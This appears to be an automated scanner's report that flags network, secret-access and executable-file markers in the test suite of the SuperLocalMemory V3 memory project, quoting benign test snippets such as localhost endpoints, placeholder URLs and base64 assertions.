tests/test_cli/test_pr253_calibration_cancel.py
- Executable scriptline 1
Executable file
tests/test_cli/test_profile_switch_bad_name.py
- Executable scriptline 1
Executable file
tests/test_cli/test_provider_custom_endpoint.py
- Executable scriptline 1
Executable file - Access to secretsline 47
[Credential-related source omitted] - Network accessline 57
with pytest.raises(ValueError, match="HTTPS"): configure_custom_endpoint_provider( config, endpoint="http://my-llm-server.lan:8080/v1", - Network accessline 58
[Credential-related source omitted] - Network accessline 59
config, endpoint="http://my-llm-server.lan:8080/v1", - Access to secretsline 60
[Credential-related source omitted] - Network accessline 69
with pytest.raises(ValueError, match="HTTPS"): configure_custom_endpoint_provider( config, endpoint="http://8.8.8.8/v1", - Network accessline 70
[Credential-related source omitted] - Network accessline 71
config, endpoint="http://8.8.8.8/v1", - Access to secretsline 72
[Credential-related source omitted] - Network accessline 84
with pytest.raises(ValueError, match="trust_plain_http_lan"): configure_custom_endpoint_provider( config, endpoint="http://192.168.1.50:8041/v1", - Network accessline 85
[Credential-related source omitted] - Network accessline 86
config, endpoint="http://192.168.1.50:8041/v1", - Access to secretsline 87
[Credential-related source omitted] - Network accessline 96
with pytest.raises(ValueError, match="--mode"): configure_custom_endpoint_provider( config, endpoint="http://127.0.0.1:9/v1", - Network accessline 97
[Credential-related source omitted] - Network accessline 98
config, endpoint="http://127.0.0.1:9/v1", - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Network accessline 209
ok, message = test_custom_endpoint_connection( "http://127.0.0.1:1/v1", "", "local-model", - Network accessline 210
"http://127.0.0.1:1/v1", "", "local-model", - Network accessline 220
[Credential-related source omitted] - Network accessline 221
[Credential-related source omitted] - Network accessline 222
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Network accessline 247
"import sys, json; sys.argv = [" "'slm', 'provider', 'set', 'custom', " "'--endpoint', 'http://192.168.1.50:8041/v1', " - Network accessline 248
"'slm', 'provider', 'set', 'custom', " "'--endpoint', 'http://192.168.1.50:8041/v1', " "'--key', 'sk-test', '--model', 'llama3.2', '--mode', 'b'" - Network accessline 249
"'--endpoint', 'http://192.168.1.50:8041/v1', " - Access to secretsline 262
[Credential-related source omitted] - Network accessline 276
parsed = json.loads(line[len("CAPTURED:"):]) assert parsed["provider"] == "custom" assert parsed["endpoint"] == "http://192.168.1.50:8041/v1" - Network accessline 277
assert parsed["provider"] == "custom" assert parsed["endpoint"] == "http://192.168.1.50:8041/v1" assert parsed["api_key"] == "sk-test" - Network accessline 278
assert parsed["endpoint"] == "http://192.168.1.50:8041/v1" - Access to secretsline 279
[Credential-related source omitted] - Network accessline 286
[Credential-related source omitted] - Network accessline 287
[Credential-related source omitted] - Network accessline 288
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Network accessline 295
assert cp.call_args.kwargs == { "provider_name": "custom", "endpoint": "http://192.168.1.50:8041/v1", - Network accessline 296
[Credential-related source omitted] - Network accessline 297
"endpoint": "http://192.168.1.50:8041/v1", - Access to secretsline 298
[Credential-related source omitted]
tests/test_cli/test_provider_noninteractive_contract.py
tests/test_cli/test_proxy_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_python_312_floor_is_enforced.py
- Executable scriptline 1
Executable file
tests/test_cli/test_quantize_repair_only.py
- Executable scriptline 1
Executable file
tests/test_cli/test_recall_answer_check_text.py
- Executable scriptline 1
Executable file
tests/test_cli/test_recall_daemon_fallback.py
- Executable scriptline 1
Executable file
tests/test_cli/test_recall_stdout_is_results_only.py
- Executable scriptline 1
Executable file
tests/test_cli/test_recall_text_says_when_incomplete.py
- Executable scriptline 1
Executable file
tests/test_cli/test_recall_time_flags_json.py
- Executable scriptline 1
Executable file
tests/test_cli/test_regraph_goes_through_the_daemon.py
- Executable scriptline 1
Executable file
tests/test_cli/test_release_help_surface.py
tests/test_cli/test_remember_idempotent_retry.py
- Executable scriptline 1
Executable file
tests/test_cli/test_remember_replaces_cli.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 124
def _http_422(body: dict) -> urllib.error.HTTPError: return urllib.error.HTTPError("http://127.0.0.1:1/remember", 422, "Unprocessable", - Network accessline 125
return urllib.error.HTTPError("http://127.0.0.1:1/remember", 422, "Unprocessable",
tests/test_cli/test_remember_sync_daemon_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_remote_json_envelope.py
- Executable scriptline 1
Executable file
tests/test_cli/test_repair_speaker.py
- Executable scriptline 1
Executable file
tests/test_cli/test_scale_engine_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_service_data_root_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_service_definition_handles.py
- Executable scriptline 1
Executable file
tests/test_cli/test_service_removal_races.py
tests/test_cli/test_session_command.py
- Executable scriptline 1
Executable file
tests/test_cli/test_setup_consent_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_setup_wizard_embedding.py
- Executable scriptline 1
Executable file - Network accessline 22
def test_endpoint_without_provider_name_is_remote(): assert _embedding_is_remote( _cfg(provider="", api_endpoint="http://192.168.50.140:8045/v1") - Network accessline 23
assert _embedding_is_remote( _cfg(provider="", api_endpoint="http://192.168.50.140:8045/v1") ) is True - Network accessline 24
_cfg(provider="", api_endpoint="http://192.168.50.140:8045/v1") - Network accessline 46
existing.embedding = EmbeddingConfig( provider="openai", api_endpoint="http://127.0.0.1:8045/v1/embeddings", - Network accessline 47
provider="openai", api_endpoint="http://127.0.0.1:8045/v1/embeddings", model_name="qwen3-embedding", - Network accessline 48
api_endpoint="http://127.0.0.1:8045/v1/embeddings", - Network accessline 56
assert rebuilt.mode is Mode.A assert rebuilt.embedding.provider == "openai" assert rebuilt.embedding.api_endpoint == "http://127.0.0.1:8045/v1/embeddings" - Network accessline 57
assert rebuilt.embedding.provider == "openai" assert rebuilt.embedding.api_endpoint == "http://127.0.0.1:8045/v1/embeddings" assert rebuilt.embedding.model_name == "qwen3-embedding" - Network accessline 58
assert rebuilt.embedding.api_endpoint == "http://127.0.0.1:8045/v1/embeddings"
tests/test_cli/test_setup_wizard_laya.py
- Executable scriptline 1
Executable file
tests/test_cli/test_setup_wizard_mode_b_server.py
tests/test_cli/test_setup_wizard_ux3.py
- Executable scriptline 1
Executable file
tests/test_cli/test_shared_computer_accounts.py
- Executable scriptline 1
Executable file - Network accessline 188
server.health = _other_account_health(port) sp.ensure_install_token() monkeypatch.setattr(post_tool_async_hook, "DAEMON_URL", f"http://127.0.0.1:{port}") - Network accessline 189
sp.ensure_install_token() monkeypatch.setattr(post_tool_async_hook, "DAEMON_URL", f"http://127.0.0.1:{port}") payload = json.dumps({"session_id": "s", "tool_name": "Bash", - Network accessline 190
monkeypatch.setattr(post_tool_async_hook, "DAEMON_URL", f"http://127.0.0.1:{port}")
tests/test_cli/test_sources_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_stale_mcp_diagnostics.py
- Executable scriptline 1
Executable file
tests/test_cli/test_star_prompt.py
- Executable scriptline 1
Executable file
tests/test_cli/test_status_field_parity.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli/test_status_says_when_text_vectors_need_the_service.py
- Executable scriptline 1
Executable file
tests/test_cli/test_stop_daemon_busy_health.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 77
[Credential-related source omitted] - Network accessline 165
# Request.add_header() stores keys via str.capitalize() (see # cpython urllib.request.Request), and get_header() does not - Network accessline 166
# cpython urllib.request.Request), and get_header() does not - Network accessline 180
assert seen_urls == [f"http://127.0.0.1:{descriptor.port}/stop"]
tests/test_cli/test_tag_flags.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli/test_team_cmd.py
- Executable scriptline 1
Executable file - Network accessline 39
rbac.create_user("admin1", "password-1234") rbac.set_require_login(True) return app, TestClient(app, base_url="http://127.0.0.1:8765", client=("127.0.0.1", 5000)) - Network accessline 41
return app, TestClient(app, base_url="http://127.0.0.1:8765", client=("127.0.0.1", 5000))
tests/test_cli/test_trace_answer_check_text.py
- Executable scriptline 1
Executable file
tests/test_cli/test_trace_daemon_contract.py
- Executable scriptline 1
Executable file
tests/test_cli/test_upgrade_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_v3442_daemon_restart.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli/test_v3442_warmup_daemon_aware.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli/test_version_banner_stream.py
- Executable scriptline 1
Executable file
tests/test_cli/test_w1_namespace_control_plane.py
- Executable scriptline 1
Executable file
tests/test_cli/test_w8_doctor_installs.py
- Executable scriptline 1
Executable file
tests/test_cli/test_warmup_requires_ready.py
- Executable scriptline 1
Executable file
tests/test_cli/test_wizard_mode_b_model_choice.py
- Executable scriptline 1
Executable file - Network accessline 45
def _stub_unreachable(monkeypatch) -> None: def _refuse(*a, **k): raise httpx.ConnectError("refused") - Network accessline 46
def _refuse(*a, **k): raise httpx.ConnectError("refused") monkeypatch.setattr(httpx, "get", _refuse) - Network accessline 47
raise httpx.ConnectError("refused")
tests/test_cli/test_wizard_mode_c_model_choice.py
tests/test_cli/test_wp19_enrich_cmd.py
- Executable scriptline 1
Executable file
tests/test_cli/test_wp19_enrich_repair_saves.py
- Executable scriptline 1
Executable file
tests/test_cli/test_wp19_list_stubs.py
- Executable scriptline 1
Executable file
tests/test_cli/test_wp5_local_model.py
- Executable scriptline 1
Executable file
tests/test_cli/test_wp8_daemon_wiring.py
- Executable scriptline 1
Executable file - Access to secretsline 30
[Credential-related source omitted] - Network accessline 88
commands.cmd_dashboard(SimpleNamespace(port=None)) assert started == [{"port": 19283}] assert opened == ["http://localhost:19283"] - Network accessline 90
assert opened == ["http://localhost:19283"]
tests/test_cli/test_wp8_save_completion.py
- Executable scriptline 1
Executable file
tests/test_cli_core.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli_json.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli_subparsers/__init__.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_claude_desktop_path.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_connect_and_prestage.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_connect_copilot_cli.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_connect_many.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_connect_muse_and_grok_cli.py
- Executable scriptline 1
Executable file - Network accessline 40
path.write_text(json.dumps({ "schema_version": 1, "model": "spark", "mcpServers": {"docs": {"type": "streamable-http", "url": "https://example/mcp"}}, - Network accessline 41
"schema_version": 1, "model": "spark", "mcpServers": {"docs": {"type": "streamable-http", "url": "https://example/mcp"}}, })) - Network accessline 42
"mcpServers": {"docs": {"type": "streamable-http", "url": "https://example/mcp"}},
tests/test_cli_subparsers/test_connect_openclaw.py
- Executable scriptline 1
Executable file - Network accessline 34
path.parent.mkdir(parents=True) path.write_text(json.dumps({"agents": {"defaults": {"model": "x"}}, "mcp": {"servers": {"docs": {"url": "https://e/mcp"}}}})) - Network accessline 35
path.write_text(json.dumps({"agents": {"defaults": {"model": "x"}}, "mcp": {"servers": {"docs": {"url": "https://e/mcp"}}}})) assert connect_ide("openclaw", home=tmp_path)["error"] is None - Network accessline 36
"mcp": {"servers": {"docs": {"url": "https://e/mcp"}}}}))
tests/test_cli_subparsers/test_continue_owned_entry.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_db_migrate.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_doctor_optimize.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli_subparsers/test_escape_hatch.py
tests/test_cli_subparsers/test_evidence_commands.py
tests/test_cli_subparsers/test_portable_kit.py
tests/test_cli_subparsers/test_super_help.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_the_skills_are_not_shipped_by_pip.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_cli_subparsers/test_transport_connect.py
- Executable scriptline 1
Executable file - Network accessline 79
"""transport='http' → {type: http, url: http://127.0.0.1:8765/mcp/}.""" - Network accessline 88
assert block["type"] == "http", f"Expected http block, got: {block!r}" assert block["url"] == "http://127.0.0.1:8765/mcp/" - Network accessline 89
assert block["url"] == "http://127.0.0.1:8765/mcp/" - Network accessline 212
"""mcp-remote args[0] should be exactly http://127.0.0.1:8765/mcp/.""" - Network accessline 221
assert block["args"][0] == "http://127.0.0.1:8765/mcp/"
tests/test_cli_subparsers/test_version_banner.py
- Executable scriptline 1
Executable file
tests/test_cli_subparsers/test_wizard_v3426_options.py
- Executable scriptline 1
Executable file
tests/test_cli_v33.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_code_graph/__init__.py
- Executable scriptline 1
Executable file
tests/test_code_graph/conftest.py
- Executable scriptline 1
Executable file
tests/test_code_graph/fixtures/sample_python.py
- Executable scriptline 1
Executable file
tests/test_code_graph/fixtures/sample_typescript.ts
- Executable scriptline 1
Executable file
tests/test_code_graph/test_blast_radius.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_bridge_off_write_path.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_changes.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_communities.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_config.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_database.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_entity_resolver.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_event_listeners.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_extractor_python.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_extractor_typescript.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_fact_enricher.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_flows.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_git_hooks.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_graph_engine.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_graph_store.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_hebbian_linker.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_incremental.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_mcp_tools.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_models.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_parser.py
tests/test_code_graph/test_resolver.py
- Executable scriptline 1
Executable file - Network accessline 314
"a.py": ( "import requests\n\n" "def fetch():\n" - Network accessline 315
"import requests\n\n" "def fetch():\n" " return requests.get('https://example.invalid')\n" - Network accessline 316
"def fetch():\n" - Network accessline 317
" return requests.get('https://example.invalid')\n"
tests/test_code_graph/test_schema.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_search.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_service.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_temporal_checker.py
- Executable scriptline 1
Executable file
tests/test_code_graph/test_watcher.py
- Executable scriptline 1
Executable file
tests/test_compliance/__init__.py
- Executable scriptline 1
Executable file
tests/test_compliance/awkward_store.py
- Executable scriptline 1
Executable file
tests/test_compliance/erasure_universe.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_answer_check_history_gdpr.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_audit_check_for_a_screen_that_asks_often.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_audit_trail_is_counted_and_paged.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasing_one_person_does_not_erase_another.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_acts_on_a_failed_vector_delete.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_clears_derive_cache.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_leaves_no_copy_anywhere.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_outcome_is_one_answer.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_reaches_native_projections.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_reaches_the_graph_projection.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_compliance/test_erasure_reaches_the_search_expansion_index.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_reaches_what_was_shown.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_removes_the_workspace_entry.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_erasure_with_unreadable_and_old_backups.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_eu_ai_act.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_export_is_one_persons_and_private.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_export_serialises_every_column_type.py
- Executable scriptline 1
Executable file - Possible obfuscationline 101
assert base64.b64decode(row["embedding"]) == b"\x00\xffabc" - Possible obfuscationline 130
assert base64.b64decode(facts["f-embedded"]["embedding"]) == EMBEDDING_BYTES - Possible obfuscationline 131
assert base64.b64decode(facts["f-embedded"]["fisher_mean"]) == FISHER_BYTES - Possible obfuscationline 145
assert base64.b64decode(full["learning_signals"]["learning_model_state"][0]["state_bytes"]) \ - Possible obfuscationline 147
assert base64.b64decode(full["polar_embeddings"][0]["angle_indices"]) == b"\x01\x02\x03" - Possible obfuscationline 260
assert base64.b64decode(facts["f-embedded"]["embedding"]) == EMBEDDING_BYTES - Access to secretsline 268
[Credential-related source omitted]
tests/test_compliance/test_forget_facts.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_gdpr.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_compliance/test_gdpr_completeness.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_gdpr_erasure_ordering.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_compliance/test_gdpr_erasure_wins.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_gdpr_export_code_graph_complete.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_gdpr_export_media.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_gdpr_vector_erasure.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_lifecycle.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_compliance/test_profile_erase_purges_keyword_index.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_profile_erase_with_write_receipts.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_profile_erasure_with_correction_history.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_retention_rules_are_listed_without_the_write_lock.py
- Executable scriptline 1
Executable file
tests/test_compliance/test_the_surfaces_agree_about_an_erasure.py
- Executable scriptline 1
Executable file
tests/test_compliance_full.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_compliance_retention_handle.py
- Executable scriptline 1
Executable file
tests/test_config_ccq_write_path.py
- Executable scriptline 1
Executable file
tests/test_config_system.py
- Executable scriptline 1
Executable file - Network accessline 55
[Credential-related source omitted] - Network accessline 56
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Network accessline 57
llm_api_base="https://openrouter.ai/api/v1", - Network accessline 79
# Every CI runner, and every user's first boot, starts here: no # config.json has ever been written. This used to default to Mode B # pointed at http://localhost:11434 for both the LLM and embeddings, - Network accessline 80
# config.json has ever been written. This used to default to Mode B # pointed at http://localhost:11434 for both the LLM and embeddings, # with no reachability check before use (LLMBackbone.is_available() - Network accessline 81
# pointed at http://localhost:11434 for both the LLM and embeddings, - Access to secretsline 138
[Credential-related source omitted]
tests/test_contracts/test_v402_contract_schemas.py
- Executable scriptline 1
Executable file
tests/test_core/__init__.py
- Executable scriptline 1
Executable file
tests/test_core/test_386_ingestion_reaper.py
- Executable scriptline 1
Executable file
tests/test_core/test_386_recall_read_only_contract.py
- Executable scriptline 1
Executable file
tests/test_core/test_386_remember_admission_contract.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_check_finished_later_never_costs_a_recall.py
tests/test_core/test_a_dated_fact_reaches_the_temporal_layer.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_drifted_graph_heals_itself.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_a_half_promoted_store_can_still_finish.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_machine_guess_never_hides_a_save.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_new_memory_is_born_active.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_recomputed_lifecycle_survives_the_tick.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_replaced_orchestrator_releases_its_runtime.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_rule_answer_reads_as_a_rule.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_session_remembers_its_last_few_turns.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_shut_embedding_service_stays_shut.py
tests/test_core/test_a_stopped_laya_setup_is_never_a_dead_end.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_stored_memory_reaches_the_projection_or_the_outbox.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_a_stub_is_flagged_when_it_is_written.py
- Executable scriptline 1
Executable file
tests/test_core/test_a_write_does_not_wait_for_a_cold_model.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_admission.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_mcp_rbac.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_a.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_b.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_c.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_d.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_e.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_f.py
- Executable scriptline 1
Executable file
tests/test_core/test_admission_tranche_g.py
- Executable scriptline 1
Executable file
tests/test_core/test_an_existing_store_gets_the_backends_by_itself.py
- Executable scriptline 1
Executable file
tests/test_core/test_an_unchecked_answer_never_reads_as_checked.py
- Executable scriptline 1
Executable file
tests/test_core/test_answer_check_history.py
- Executable scriptline 1
Executable file
tests/test_core/test_answer_check_history_stats.py
- Executable scriptline 1
Executable file
tests/test_core/test_answer_check_history_store.py
- Executable scriptline 1
Executable file
tests/test_core/test_backend_orchestrator_migration.py
- Executable scriptline 1
Executable file
tests/test_core/test_background_child_never_outlives_its_call.py
tests/test_core/test_background_embed_waits_only_for_query_embedding.py
- Executable scriptline 1
Executable file
tests/test_core/test_background_writes_wait_for_recalls.py
- Executable scriptline 1
Executable file
tests/test_core/test_calibration_real_engine.py
- Executable scriptline 1
Executable file
tests/test_core/test_calibration_uses_the_engines_workspace.py
- Executable scriptline 1
Executable file
tests/test_core/test_caller_kind_admission.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_core/test_canonical_ingestion_materialization.py
- Executable scriptline 1
Executable file - Network accessline 1117
service = EmbeddingService(EmbeddingConfig( provider="openai", api_endpoint="http://embedder.invalid/v1", - Network accessline 1118
provider="openai", api_endpoint="http://embedder.invalid/v1", model_name="test-model", - Network accessline 1119
api_endpoint="http://embedder.invalid/v1", - Network accessline 1132
while not runtime.transitioning: assert not deadline.wait(0.01) raise httpx.ReadTimeout("reconfigure requested") - Network accessline 1134
raise httpx.ReadTimeout("reconfigure requested")
tests/test_core/test_cloud_embed_client_reuse.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com - Network accessline 32
model_name="text-embedding-ada-002", dimension=dimension, api_endpoint="https://fake-azure.openai.azure.com", - Network accessline 33
[Credential-related source omitted] - Network accessline 34
api_endpoint="https://fake-azure.openai.azure.com", - Access to secretsline 35
[Credential-related source omitted] - Network accessline 77
# Patch httpx.Client at the real module level so we can detect direct use. # The old code does `import httpx` then `with httpx.Client(...)`. - Network accessline 78
# The old code does `import httpx` then `with httpx.Client(...)`. - Network accessline 115
with patch("httpx.Client", side_effect=AssertionError( "Direct httpx.Client() construction detected — must use _get_http_client()" - Network accessline 116
